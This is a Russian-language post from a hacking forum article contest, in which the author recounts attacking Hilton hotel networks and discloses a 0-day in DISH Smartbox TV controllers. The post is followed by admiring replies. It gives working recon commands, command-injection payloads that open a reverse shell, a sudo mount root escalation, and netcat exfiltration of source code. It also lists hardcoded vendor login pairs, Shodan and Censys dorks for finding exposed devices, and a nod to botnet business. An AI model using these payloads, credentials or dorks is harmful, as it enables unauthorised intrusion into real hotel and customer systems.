• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Как я показал порнуху в Hilton & 0day в Dish

Iridium

RAM
Пользователь
Регистрация
22.06.2021
Сообщения
110
Реакции
199
Неужели первая и единственная статья на конкурсе с раскрытием реального 0 day?

В этом выпуске: находим таргет, составляем fuzz листы, ищем RCE, повышаем привилегии, копаемся в исходниках.

Рекон
Итак, сразу к делу. Захотелось мне потестировать на безопасность отель Hilton, начинаем с рекона, обратимся к API сервиса ipinfo.io, а именно к эндпоинту ipinfo.io/ranges/hilton.com?token=api_token, полученные диапазоны IP сохраняем в файл CIDR.txt в таком формате:
1.2.3.4/5
6.7.8.9/10
11.12.13.14/15
скармливаем это добро масскану, чтобы он нашёл открытые порты. Немножечко обмазываемся регулярками.
cidr=$(tr '\n' ' ' < CIDR.txt); ./masscan --rate=10000 -p80,443 ${cidr::-1} -oG - | grep "Host"|awk '{print $4}' > masscan_output.txt;
Затем нужно узнать, на каких IP не только открыт порт, но и имеется HTML-контент, нам спешит на помощь httpx. И регулярки-грепалки, куда ж без них.
./httpx -ports 80,443 -no-color -o IPs.txt -l masscan_output.txt -threads 200; cat IPs.txt | grep -o -P '(?<=https://|http://).*(?=: )' | awk '!seen[$0]++' > IPs_u.txt; mv IPs_u.txt IPs.txt;

RCE №1
Одним из хостов оказался дашборд для Dish Smartbox, железки, отвечающей за управление телевизорами в отеле. Чтоб вы понимали, одна такая коробочка стоит, как крыло от Боинга. Небольшая справка: Dish - огромная американская компания, поставляющая услуги спутникового ТВ.

Чтобы найти новые эндпоинты для развития периметра атаки, воспользуемся gospider, он прокраулит сайт и найдёт в html/js файлах новые диры.
gospider -s https://0.0.0.0
pasted image 0.png

Я сразу обратил внимание на configuploadhandler.php?file=, извлечённый из /public/js/main.js
Максимально хрестоматийный пример из энциклопедии OWASP (example 6). Вспомнилось, что это один из популярных параметров для RCE.

Раскрутить можно софтом, а можно руками. Первый вариант наиболее простой, подойдёт отличная утилита commix, список ее проверок очень большой (можно взглянуть в seclists), имеются темперы для обхода различных фильтров. Есть встроенный функционал для прокидывания реверс шелла и много других удобных плюшек. Из проблем - она не всегда корректно работает с самоподписанными сертификатами, на проверку уходит много времени.

Понимая принцип работы, давайте-ка сами составим фазз-лист. Упор на то чтобы получить от таргета обратно HTTP реквест или DNS резолвинг. Источники вдохновения: 1 и 2.
Результат

101.png


Теперь прокидываем ревёрс шелл

Payload:
configuploadhandler.php?file=$( /bin/bash -i >& /dev/tcp/8.8.8.8/9999 0>&1)
не забудьте поменять 8.8.8.8 на ваш IP, а 9999 - на ваш порт, который вы будете слушать неткатом
nc -lp 9999
GET запрос с учётом URL-encoding выглядит следующим образом

Круто, у нас в руках шелл, но это только полдела, повышаем привилегии.

Проверка версии ядра (uname -a) вызвала восторг (3.0.35), и сразу навело мысли про отгремевшую уязвимость DirtyCOW, а наличие двух ядер (cat /proc/cpuinfo) явно намекало на эксплуатируемость. Но отсутствие компилятора на борту и архитектура ARMv71 вместе со сборкой Linux специально под данную железку заставило задуматься о более простых путях.
Проверки прав файлов /etc/passwd, /etc/shadow, процессов, выполняемых с правами root, поиск истории bash, инспекция файлов c SUID и SGID битами, поиск в cron не выявили ничего интересного, но удача улыбнулась на /etc/sudoers

0) sudo -l # видим, что у нашего юзера есть рутовые права на утилиту /bin/mount
1) sudo /bin/mount -o bind /bin/sh /bin/mount # ребиндим шелл на маунт
2) sudo /bin/mount # вызывая маунт, на самом деле запускаем шелл
3) whoami # проверяем, мы рут
Для дальнейшего удобства пользования терминалом настроим PATH
export PATH=$PATH:/usr/lib/lightdm/lightdm:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
К сожалению, даже с рутом права на запись есть только в папку /tmp, несколько вечеров я пытался понять, как обойти ограничение. Ведь если есть функционал обновления прошивки, то должна быть реализована перезапись, но, увы, я так и не выяснил, как это сделать.

RCE №2
Первая RCE была найдена методом blackbox, мы тыкали вслепую, не зная наверняка, что происходит под капотом, теперь же есть возможность окунуться в исходники. Лежат они в папке /var/www/hiawatha. Для удобства анализа сохраним в архив и отправим на свою рабочую машину. В разных версиях прошивки есть несущественные отличия в именах и незначительные изменения кода.
1) tar -czvf /tmp/source_code.tar.gz /var/www/hiawatha # архивирование
2) nc -lp 5555 -q 1 > source_code.tar.gz # запуск netcat на принимающей машине
3) cat /tmp/source_code.tar.gz | nc 8.8.8.8 5555 # передача архива по netcat с уязвимого хоста

Давайте же выясним, что было источником уязвимости, заглянем в файл configuploadhandler.php. Обратите внимание на строки 12 и 16.

8.png


Первая обрабатывает значение переменной file в URL запроса и сохраняет его в переменную $filepath, вторая - берёт $filepath и подставляет в инпут некоего бинаря pdconfig. Получается, для RCE достаточно наш пейлоад обернуть в $(payload). Проверьте, примерно то же самое будет, если вы введёте у себя в терминале curl https://$(whoami).com, $(whoami) будет проинтерпретирован в root (или имя вашего юзера), и выполнится curl http://root.com

Попытаемся найти похожий функционал в других местах, ключевой паттерн - exec(...)
grep -r "exec" *
Ииии барабанная дробь… в файле astbuploadhandler.php аналогичная схема работы.

7.png


Payload:
astbuploadhandler.php?replace_file=1%3B%20nc%8.8.8.8%209999%3B1

Пороемся в исходниках
Давайте поищем ещё что-нибудь любопытное, например, несколько бэкдорчиков, оставленных производителем. В таблице ниже указаны пары логин:пароль, по которым вы можете зайти в дашборд Dish Smartbox, стреляют они, правда, не в 100% случаев, но всё равно часто. Последняя пара учётных данных даже указана в документации на странице 17.
Username​
Password​
Файл​
Строки файла​
dishops​
6hickory28/application/models/System.php183, 273
dishops63freedom9/application/models/System.php183, 295
MDUpassword/application/utilities.php211, 212
adminp1C0@dm1N/application/utilities.php216, 217
installersky1/application/utilities.php221, 222
usernamepassword/application/controllers/Controller.php54

Дорки в Shodan и Censys

Конечно же, мы хотим поработить весь мир. Фингерпринт нашего подопытного сокрыт в тайтле главной HTML-страницы, по этому критерию будем искать в Shodan и Censys.
<title>DISH - smartbox</title>

Censys:
80.http.get.title: DISH - smartbox
443.http.get.title: DISH - smartbox

Shodan:
http.title:"DISH - smartbox"

Вывод:
Мораль сей басни такова - читайте документацию к объекту вашего исследования, вооружайтесь софтом (базовый набор для веба), изучайте сорцы по возможности.

Полезные ссылки:
Ресёрч об RCE в видео энкодерах
Сплойт к нему

P.S.
Если хотите поддержать вне очереди 1GRumTzvQd4z9D37SinCBAhQ75iBbASYJv (BTC)
Коммерческие предложения и рекламу по увеличению, кхм, ботнета присылайте на почту iridiumsatellite@protonmail.com
Задавайте вопросы в топике, постараюсь ответить
Отдельный респект выражаю спонсору и админу за организацию конкурса
 
Последнее редактирование модератором:
Вроде простенько и без рокетсаенса,но красиво
Круто,проголосую
Надо будет попытаться самому поискать подобное во всяких говнороутерах
 
Пожалуйста, обратите внимание, что пользователь заблокирован
одна такая коробочка стоит, как крыло от Боинга
Это рофел или как? Прсто я там на сайте у них не нашел цен выше 3к грина...

В целом молодец, имено этого и ждали на конкурсе.+1
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Автор, ты молодец!
 
Круто! Главное с чувством, с толком, с расстановкой! Хорошая заявка на победу??
 
temshikmgimo приятно слышать
Я бы поставил лайк, но они у меня исчерпались на сегодня
Вообще не беда, не гонюсь за лайками, скорее интересна хорошая информация, ещё раз удачи!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я конечно не по вебу, но все доходчиво.
Тема порнухи не раскрыта. :)
Молодец и не забывай про безопастность! ;)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх